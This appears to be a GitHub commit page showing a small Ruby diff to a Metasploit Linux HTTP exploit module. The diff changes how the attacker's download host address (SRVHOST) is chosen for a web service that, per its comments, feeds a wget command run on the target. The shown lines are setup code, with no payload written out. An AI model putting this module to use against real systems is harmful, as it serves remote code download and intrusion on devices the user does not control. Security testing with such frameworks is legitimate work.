File tree Expand file tree Collapse file tree 1 file changed +6
-3
lines changed
modules/exploits/linux/http Expand file tree Collapse file tree 1 file changed +6
-3
lines changed Original file line number Diff line number Diff line change @@ -163,10 +163,13 @@ def exploit
163
163
164
164
#we use SRVHOST as download IP for the coming wget command.
165
165
#SRVHOST needs a real IP address of our download host
166
- if datastore [ 'SRVHOST' ] =~ /0\. 0\. 0\. 0/
167
- fail_with ( Exploit ::Failure ::BadConfig , "#{ rhost } :#{ rport } - Configure SRVHOST to your local IP address." )
166
+ if ( datastore [ 'SRVHOST' ] == "0.0.0.0" or datastore [ 'SRVHOST' ] == "::" )
167
+ srv_host = Rex ::Socket . source_address ( rhost )
168
+ else
169
+ srv_host = datastore [ 'SRVHOST' ]
168
170
end
169
- service_url = 'http://' + datastore [ 'SRVHOST' ] + ':' + datastore [ 'SRVPORT' ] . to_s + resource_uri
171
+
172
+ service_url = 'http://' + srv_host + ':' + datastore [ 'SRVPORT' ] . to_s + resource_uri
170
173
print_status ( "#{ rhost } :#{ rport } - Starting up our web service on #{ service_url } ..." )
171
174
start_service ( { 'Uri' => {
172
175
'Proc' => Proc . new { |cli , req |
You can’t perform that action at this time.
0 commit comments